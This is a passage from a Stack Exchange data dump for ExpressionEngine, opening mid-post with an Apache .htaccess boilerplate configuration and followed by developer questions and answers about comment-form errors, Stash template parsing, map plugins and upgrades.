xpi&#xA;AddType application/octet-stream            safariextz&#xA;AddType application/x-web-app-manifest+json webapp&#xA;AddType text/x-vcard                        vcf&#xA;AddType application/x-shockwave-flash       swf&#xA;AddType text/vtt                            vtt&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Allow concatenation from within specific js and css files&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# e.g. Inside of script.combined.js you could have&#xA;#   &amp;lt;!--#include file=&quot;libs/jquery-1.5.0.min.js&quot; --&amp;gt;&#xA;#   &amp;lt;!--#include file=&quot;plugins/jquery.idletimer.js&quot; --&amp;gt;&#xA;# and they would be included into this single file.&#xA;&#xA;# This is not in use in the boilerplate as it stands. You may&#xA;# choose to use this technique if you do not have a build process.&#xA;&#xA;#&amp;lt;FilesMatch &quot;\.combined\.js$&quot;&amp;gt;&#xA;#  Options +Includes&#xA;#  AddOutputFilterByType INCLUDES application/javascript application/json&#xA;#  SetOutputFilter INCLUDES&#xA;#&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;#&amp;lt;FilesMatch &quot;\.combined\.css$&quot;&amp;gt;&#xA;#  Options +Includes&#xA;#  AddOutputFilterByType INCLUDES text/css&#xA;#  SetOutputFilter INCLUDES&#xA;#&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Gzip compression&#xA;# ----------------------------------------------------------------------&#xA;&#xA;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;&#xA;  # Force deflate for mangled headers developer.yahoo.com/blogs/ydn/posts/2010/12/pushing-beyond-gzipping/&#xA;  &amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;      SetEnvIfNoCase ^(Accept-EncodXng|X-cept-Encoding|X{15}|~{15}|-{15})$ ^((gzip|deflate)\s*,?\s*)+|[X~-]{4,13}$ HAVE_Accept-Encoding&#xA;      RequestHeader append Accept-Encoding &quot;gzip,deflate&quot; env=HAVE_Accept-Encoding&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&#xA;  # Compress all output labeled with one of the following MIME-types&#xA;  &amp;lt;IfModule mod_filter.c&amp;gt;&#xA;    AddOutputFilterByType DEFLATE application/atom+xml \&#xA;                                  application/javascript \&#xA;                                  application/json \&#xA;                                  application/rss+xml \&#xA;                                  application/vnd.ms-fontobject \&#xA;                                  application/x-font-ttf \&#xA;                                  application/xhtml+xml \&#xA;                                  application/xml \&#xA;                                  font/opentype \&#xA;                                  image/svg+xml \&#xA;                                  image/x-icon \&#xA;                                  text/css \&#xA;                                  text/html \&#xA;                                  text/plain \&#xA;                                  text/x-component \&#xA;                                  text/xml&#xA;  &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Expires headers (for better cache control)&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# These are pretty far-future expires headers.&#xA;# They assume you control versioning with filename-based cache busting&#xA;# Additionally, consider that outdated proxies may miscache&#xA;#   www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/&#xA;&#xA;# If you don't use filenames to version, lower the CSS and JS to something like&#xA;# &quot;access plus 1 week&quot;.&#xA;&#xA;&amp;lt;IfModule mod_expires.c&amp;gt;&#xA;  ExpiresActive on&#xA;&#xA;# Perhaps better to whitelist expires rules? Perhaps.&#xA;  ExpiresDefault                          &quot;access plus 1 month&quot;&#xA;&#xA;# cache.appcache needs re-requests in FF 3.6 (thanks Remy ~Introducing HTML5)&#xA;  ExpiresByType text/cache-manifest       &quot;access plus 0 seconds&quot;&#xA;&#xA;# Your document html&#xA;  ExpiresByType text/html                 &quot;access plus 0 seconds&quot;&#xA;&#xA;# Data&#xA;  ExpiresByType text/xml                  &quot;access plus 0 seconds&quot;&#xA;  ExpiresByType application/xml           &quot;access plus 0 seconds&quot;&#xA;  ExpiresByType application/json          &quot;access plus 0 seconds&quot;&#xA;&#xA;# Feed&#xA;  ExpiresByType application/rss+xml       &quot;access plus 1 hour&quot;&#xA;  ExpiresByType application/atom+xml      &quot;access plus 1 hour&quot;&#xA;&#xA;# Favicon (cannot be renamed)&#xA;  ExpiresByType image/x-icon              &quot;access plus 1 week&quot;&#xA;&#xA;# Media: images, video, audio&#xA;  ExpiresByType image/gif                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType image/png                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType image/jpeg                &quot;access plus 1 month&quot;&#xA;  ExpiresByType video/ogg                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType audio/ogg                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType video/mp4                 &quot;access plus 1 month&quot;&#xA;  ExpiresByType video/webm                &quot;access plus 1 month&quot;&#xA;&#xA;# HTC files  (css3pie)&#xA;  ExpiresByType text/x-component          &quot;access plus 1 month&quot;&#xA;&#xA;# Webfonts&#xA;  ExpiresByType application/x-font-ttf    &quot;access plus 1 month&quot;&#xA;  ExpiresByType font/opentype             &quot;access plus 1 month&quot;&#xA;  ExpiresByType application/x-font-woff   &quot;access plus 1 month&quot;&#xA;  ExpiresByType image/svg+xml             &quot;access plus 1 month&quot;&#xA;  ExpiresByType application/vnd.ms-fontobject &quot;access plus 1 month&quot;&#xA;&#xA;# CSS and JavaScript&#xA;  ExpiresByType text/css                  &quot;access plus 1 year&quot;&#xA;  ExpiresByType application/javascript    &quot;access plus 1 year&quot;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Prevent mobile network providers from modifying your site&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# The following header prevents modification of your code over 3G on some&#xA;# European providers.&#xA;# This is the official 'bypass' suggested by O2 in the UK.&#xA;&#xA;# &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;# Header set Cache-Control &quot;no-transform&quot;&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# ETag removal&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# FileETag None is not enough for every server.&#xA;&amp;lt;IfModule mod_headers.c&amp;gt;&#xA;  Header unset ETag&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Since we're sending far-future expires, we don't need ETags for&#xA;# static content.&#xA;#   developer.yahoo.com/performance/rules.html#etags&#xA;FileETag None&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Stop screen flicker in IE on CSS rollovers&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# The following directives stop screen flicker in IE on CSS rollovers - in&#xA;# combination with the &quot;ExpiresByType&quot; rules for images (see above).&#xA;&#xA;# BrowserMatch &quot;MSIE&quot; brokenvary=1&#xA;# BrowserMatch &quot;Mozilla/4.[0-9]{2}&quot; brokenvary=1&#xA;# BrowserMatch &quot;Opera&quot; !brokenvary&#xA;# SetEnvIf brokenvary 1 force-no-vary&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Set Keep-Alive Header&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Keep-Alive allows the server to send multiple requests through one&#xA;# TCP-connection. Be aware of possible disadvantages of this setting. Turn on&#xA;# if you serve a lot of static content.&#xA;&#xA;# &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;#   Header set Connection Keep-Alive&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Cookie setting from iframes&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Allow cookies to be set from iframes (for IE only)&#xA;# If needed, specify a path or regex in the Location directive.&#xA;&#xA;# &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;#   Header set P3P &quot;policyref=\&quot;/w3c/p3p.xml\&quot;, CP=\&quot;IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\&quot;&quot;&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Start rewrite engine&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Turning on the rewrite engine is necessary for the following rules and&#xA;# features. FollowSymLinks must be enabled for this to work.&#xA;&#xA;# Some cloud hosting services require RewriteBase to be set: goo.gl/HOcPN&#xA;# If using the h5bp in a subdirectory, use `RewriteBase /foo` instead where&#xA;# 'foo' is your directory.&#xA;&#xA;# If your web host doesn't allow the FollowSymlinks option, you may need to&#xA;# comment it out and use `Options +SymLinksOfOwnerMatch`, but be aware of the&#xA;# performance impact: http://goo.gl/Mluzd&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  Options +FollowSymlinks&#xA;# Options +SymLinksIfOwnerMatch&#xA;  RewriteEngine On&#xA;# RewriteBase /&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Suppress or force the &quot;www.&quot; at the beginning of URLs&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# The same content should never be available under two different URLs -&#xA;# especially not with and without &quot;www.&quot; at the beginning, since this can cause&#xA;# SEO problems (duplicate content). That's why you should choose one of the&#xA;# alternatives and redirect the other one.&#xA;&#xA;# By default option 1 (no &quot;www.&quot;) is activated.&#xA;# no-www.org/faq.php?q=class_b&#xA;&#xA;# If you'd prefer to use option 2, just comment out all option 1 lines&#xA;# and uncomment option 2.&#xA;&#xA;# IMPORTANT: NEVER USE BOTH RULES AT THE SAME TIME!&#xA;&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Option 1:&#xA;# Rewrite &quot;www.example.com -&amp;gt; example.com&quot;.&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{HTTPS} !=on&#xA;  RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;  RewriteRule ^ http://%1%{REQUEST_URI} [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Option 2:&#xA;# Rewrite &quot;example.com -&amp;gt; www.example.com&quot;.&#xA;# Be aware that the following rule might not be a good idea if you use &quot;real&quot;&#xA;# subdomains for certain parts of your website.&#xA;&#xA;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{HTTPS} !=on&#xA;#   RewriteCond %{HTTP_HOST} !^www\..+$ [NC]&#xA;#   RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Built-in filename-based cache busting&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# If you're not using the build script to manage your filename version revving,&#xA;# you might want to consider enabling this, which will route requests for&#xA;# /css/style.20110203.css to /css/style.css&#xA;&#xA;# To understand why this is important and a better idea than all.css?v1231,&#xA;# read: github.com/h5bp/html5-boilerplate/wiki/cachebusting&#xA;&#xA;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{REQUEST_FILENAME} !-f&#xA;#   RewriteCond %{REQUEST_FILENAME} !-d&#xA;#   RewriteRule ^(.+)\.(\d+)\.(js|css|png|jpg|gif)$ $1.$3 [L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Prevent SSL cert warnings&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Rewrite secure requests properly to prevent SSL cert warnings, e.g. prevent&#xA;# https://www.example.com when your cert only allows https://secure.example.com&#xA;&#xA;# &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;#   RewriteCond %{SERVER_PORT} !^443&#xA;#   RewriteRule ^ https://example-domain-please-change-me.com%{REQUEST_URI} [R=301,L]&#xA;# &amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Prevent 404 errors for non-existing redirected folders&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# without -MultiViews, Apache will give a 404 for a rewrite if a folder of the&#xA;# same name does not exist.&#xA;# webmasterworld.com/apache/3808792.htm&#xA;&#xA;Options -MultiViews&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# Custom 404 page&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# You can add custom pages to handle 500 or 403 pretty easily, if you like.&#xA;# If you are hosting your site in subdirectory, adjust this accordingly&#xA;#    e.g. ErrorDocument 404 /subdir/404.html&#xA;ErrorDocument 404 /404&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# UTF-8 encoding&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# Use UTF-8 encoding for anything served text/plain or text/html&#xA;AddDefaultCharset utf-8&#xA;&#xA;# Force UTF-8 for a number of file formats&#xA;AddCharset utf-8 .atom .css .js .json .rss .vtt .xml&#xA;&#xA;&#xA;# ----------------------------------------------------------------------&#xA;# A little more security&#xA;# ----------------------------------------------------------------------&#xA;&#xA;# To avoid displaying the exact version number of Apache being used, add the&#xA;# following to httpd.conf (it will not work in .htaccess):&#xA;# ServerTokens Prod&#xA;&#xA;# &quot;-Indexes&quot; will have Apache block users from browsing folders without a&#xA;# default document Usually you should leave this activated, because you&#xA;# shouldn't allow everybody to surf through every folder on your server (which&#xA;# includes rather private places like CMS system folders).&#xA;&amp;lt;IfModule mod_autoindex.c&amp;gt;&#xA;  Options -Indexes&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Block access to &quot;hidden&quot; directories or files whose names begin with a&#xA;# period. This includes directories used by version control systems such as&#xA;# Subversion or Git.&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{SCRIPT_FILENAME} -d [OR]&#xA;  RewriteCond %{SCRIPT_FILENAME} -f&#xA;  RewriteRule &quot;(^|/)\.&quot; - [F]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# Block access to backup and source files. These files may be left by some&#xA;# text/html editors and pose a great security danger, when anyone can access&#xA;# them.&#xA;&amp;lt;FilesMatch &quot;(\.(bak|config|sql|fla|psd|ini|log|sh|inc|swp|dist)|~)$&quot;&amp;gt;&#xA;  Order allow,deny&#xA;  Deny from all&#xA;  Satisfy All&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&#xA;# If your server is not already configured as such, the following directive&#xA;# should be uncommented in order to set PHP's register_globals option to OFF.&#xA;# This closes a major security hole that is abused by most XSS (cross-site&#xA;# scripting) attacks. For more information: http://php.net/register_globals&#xA;#&#xA;# IF REGISTER_GLOBALS DIRECTIVE CAUSES 500 INTERNAL SERVER ERRORS:&#xA;#&#xA;# Your server does not allow PHP directives to be set via .htaccess. In that&#xA;# case you must make this change in your php.ini file instead. If you are&#xA;# using a commercial web host, contact the administrators for assistance in&#xA;# doing this. Not all servers allow local php.ini files, and they should&#xA;# include all PHP configurations (not just this one), or you will effectively&#xA;# reset everything to PHP defaults. Consult www.php.net for more detailed&#xA;# information about setting PHP directives.&#xA;&#xA;# php_flag register_globals Off&#xA;&#xA;# Rename session cookie to something else, than PHPSESSID&#xA;# php_value session.name sid&#xA;&#xA;# Disable magic quotes (This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.)&#xA;# php_flag magic_quotes_gpc Off&#xA;&#xA;# Do not show you are using PHP&#xA;# Note: Move this line to php.ini since it won't work in .htaccess&#xA;# php_flag expose_php Off&#xA;&#xA;# Level of log detail - log all errors&#xA;# php_value error_reporting -1&#xA;&#xA;# Write errors to log file&#xA;# php_flag log_errors On&#xA;&#xA;# Do not display errors in browser (production - Off, development - On)&#xA;# php_flag display_errors Off&#xA;&#xA;# Do not display startup errors (production - Off, development - On)&#xA;# php_flag display_startup_errors Off&#xA;&#xA;# Format errors in plain text&#xA;# Note: Leave this setting 'On' for xdebug's var_dump() output&#xA;# php_flag html_errors Off&#xA;&#xA;# Show multiple occurrence of error&#xA;# php_flag ignore_repeated_errors Off&#xA;&#xA;# Show same errors from different sources&#xA;# php_flag ignore_repeated_source Off&#xA;&#xA;# Size limit for error messages&#xA;# php_value log_errors_max_len 1024&#xA;&#xA;# Don't precede error with string (doesn't accept empty string, use whitespace if you need)&#xA;# php_value error_prepend_string &quot; &quot;&#xA;&#xA;# Don't prepend to error (doesn't accept empty string, use whitespace if you need)&#xA;# php_value error_append_string &quot; &quot;&#xA;&#xA;# Increase cookie security&#xA;&amp;lt;IfModule php5_module&amp;gt;&#xA;  php_value session.cookie_httponly true&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;# ExpressionEngine Rewrite&#xA;&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteCond $1 !.(\.css|\.js|\.png|\.jpe?g|\.gif|\.ico)$ [NC]&#xA;  RewriteRule ^(.+)$ index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-11-24T16:07:44.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26877" PostTypeId="1" CreationDate="2014-11-24T18:32:05.657" Score="0" ViewCount="65" Body="&lt;p&gt;I'm getting this very unhelpful message when I try to submit a review form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The form you submitted contained the following errors&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unable to receive your comment at this time.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error doesn't give me much to go on, so I don't know where to start debugging it. Here's my template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form &#xA;  channel='products' &#xA;  entry_id='{structure:page:entry_id}' &#xA;  parse='inward' &#xA;  form_class='member-review' &#xA;  rating:enabled='yes' &#xA;  rating:required='yes' &#xA;  rating:collection='member_reviews' &#xA;  rating:min_value='1' &#xA;  rating:max_value='5' &#xA;  rating:return='notifications/submission-success/product-review'&#xA;}&#xA;  {if rating:not_rated}&#xA;    &amp;lt;div class=&quot;alert-box ajax-form&quot;&amp;gt;&amp;lt;a href=&quot;#&quot; class=&quot;close&quot;&amp;gt;&amp;amp;times;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!--.alert-box--&amp;gt;&#xA;  {/if}&#xA;&#xA;  &amp;lt;div class=&quot;form-body&quot;&amp;gt;&#xA;    {if rating:already_rated}&#xA;      &amp;lt;p class=&quot;already-rated&quot;&amp;gt;You have already rated this product.&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if rating:not_rated}&#xA;      &amp;lt;div class=&quot;sub-ratings&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;rating-field&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;rating-name&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;rating-directions&quot;&amp;gt;Directions:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-name--&amp;gt;&#xA;          &amp;lt;div class=&quot;rating-input&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[directions]&quot; value=&quot;1&quot; checked=&quot;checked&quot; class=&quot;star required&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[directions]&quot; value=&quot;2&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[directions]&quot; value=&quot;3&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[directions]&quot; value=&quot;4&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[directions]&quot; value=&quot;5&quot; class=&quot;star&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-input--&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-field--&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;rating-field&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;rating-name&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;rating-packaging&quot;&amp;gt;Packaging:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-name--&amp;gt;&#xA;          &amp;lt;div class=&quot;rating-input&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[packaging]&quot; value=&quot;1&quot; checked=&quot;checked&quot; class=&quot;star required&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[packaging]&quot; value=&quot;2&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[packaging]&quot; value=&quot;3&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[packaging]&quot; value=&quot;4&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[packaging]&quot; value=&quot;5&quot; class=&quot;star&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-input--&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-field--&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;rating-field&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;rating-name&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;rating-overall&quot;&amp;gt;Overall Satisfaction:&amp;lt;/label&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-name--&amp;gt;&#xA;          &amp;lt;div class=&quot;rating-input&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[overall]&quot; value=&quot;1&quot; checked=&quot;checked&quot; class=&quot;star required&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[overall]&quot; value=&quot;2&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[overall]&quot; value=&quot;3&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[overall]&quot; value=&quot;4&quot; class=&quot;star&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;radio&quot; name=&quot;rating[overall]&quot; value=&quot;5&quot; class=&quot;star&quot;&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-input--&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!--/.rating-field--&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--/.sub-ratings--&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;fieldgroup comment&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;comment&quot;&amp;gt;Share your review with others&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea name=&quot;comment&quot; id=&quot;comment&quot; rows=&quot;8&quot; class=&quot;required&quot;&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--/.fieldgroup--&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;submit-wrap&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Comment&quot;&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--/.submit-wrap--&amp;gt;&#xA;    {/if}&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--/.form-body--&amp;gt;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-11-24T18:45:44.113" Title="Channel Ratings &quot;Unable to receive your comment at this time.&quot; Error" Tags="|devdemon|channel-ratings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26878" PostTypeId="2" ParentId="26877" CreationDate="2014-11-24T18:45:44.113" Score="1" Body="&lt;p&gt;This error is coming from EE core, not Channel Ratings. It happens when a duplicate comment is submitted (like a test comment, i.e. &quot;test&quot;). &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/troubleshooting/error_messages/unable_to_receive_your_comment.html&quot; rel=&quot;nofollow&quot;&gt;Source.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-11-24T18:45:44.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26879" PostTypeId="1" CreationDate="2014-11-24T19:45:10.143" Score="0" ViewCount="24" Body="&lt;p&gt;I'm experiencing some strange behavior with one of my template groups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two templates in the group, index and award. When loading the award template I am seeing content from the index file also displayed. The index file has PHP output switched on but this template shouldn't be getting parsed at all right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition the award template first checks to see if a user is logged_out and displays a login form. However this condition is never being met, it's always seeing the user as logged_in even when not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what could be going on?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastEditorUserId="2290" LastEditDate="2014-11-24T21:22:34.907" LastActivityDate="2015-03-24T23:24:54.517" Title="Template group parsing index file even when not called" Tags="|templates|stash|parsing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26880" PostTypeId="2" ParentId="26879" CreationDate="2014-11-24T21:23:20.720" Score="1" Body="&lt;p&gt;I found out why the index file was being parsed. I using Stash to render my templates and I was missing the closing tag for exp:stash:set for this partial!&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-11-24T21:23:20.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26881" PostTypeId="1" CreationDate="2014-11-24T22:19:56.420" Score="0" ViewCount="166" Body="&lt;p&gt;I know there is the Search &amp;amp; Replace functionality built into the control panel but I'm hoping to find a way to do this on all entries and fields without having to run it individually for each field. Has anyone else done this before?&lt;/p&gt;&#xA;" OwnerUserId="3817" LastActivityDate="2015-01-27T13:58:59.607" Title="Any easy way to do a Find/Replace in all entries and fields?" Tags="|ee2|control-panel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26884" PostTypeId="2" ParentId="26573" CreationDate="2014-11-25T05:03:45.967" Score="1" Body="&lt;p&gt;Another Maps plugin I can easily recommend is &lt;a href=&quot;http://devot-ee.com/add-ons/gmaps&quot; rel=&quot;nofollow&quot;&gt;Gmaps&lt;/a&gt; - the developer is always updating it and keep improving the experience..&lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2014-11-25T05:03:45.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26885" PostTypeId="1" AcceptedAnswerId="26930" CreationDate="2014-11-25T05:54:39.307" Score="1" ViewCount="57" Body="&lt;p&gt;Sometimes when I view my EE site on a local server, and less so on my live environments, I receive a 200 response which is looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{c1a3de9f993f7deec04da3d5075ac7f9948848712}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next time I refresh the error goes away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have ideas of what causes this, or how to prevent it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Stash, which may be related to the issue.&lt;/p&gt;&#xA;" OwnerUserId="349" LastEditorUserId="349" LastEditDate="2014-11-25T14:08:47.233" LastActivityDate="2014-11-27T08:38:13.850" Title="Page responds with just a hash" Tags="|templates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26886" PostTypeId="2" ParentId="26573" CreationDate="2014-11-25T08:02:59.913" Score="1" Body="&lt;p&gt;We've ported &lt;em&gt;SL Google Maps&lt;/em&gt; to EE 2 by ourself, but ultimately switched to &lt;a href=&quot;http://devot-ee.com/add-ons/google-maps&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Google Maps for ExpressionEngine&lt;/em&gt; from &lt;em&gt;Objective HTML&lt;/em&gt;&lt;/a&gt; nonetheless after a few month of operating SL GM on EE2 and several Maps-API-changes made by Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend you to switch to &lt;em&gt;Objective HTMLs&lt;/em&gt; Module too.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2014-11-25T08:02:59.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26888" PostTypeId="2" ParentId="26867" CreationDate="2014-11-25T12:09:08.940" Score="1" Body="&lt;p&gt;Turned out to be a boinked database migration or something went wrong with the upgrade wizard. Never could figure it out. I ended up having to go to the original files and start the process again. Second upgrade went without issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always backup.&lt;/p&gt;&#xA;" OwnerUserId="1773" LastActivityDate="2014-11-25T12:09:08.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
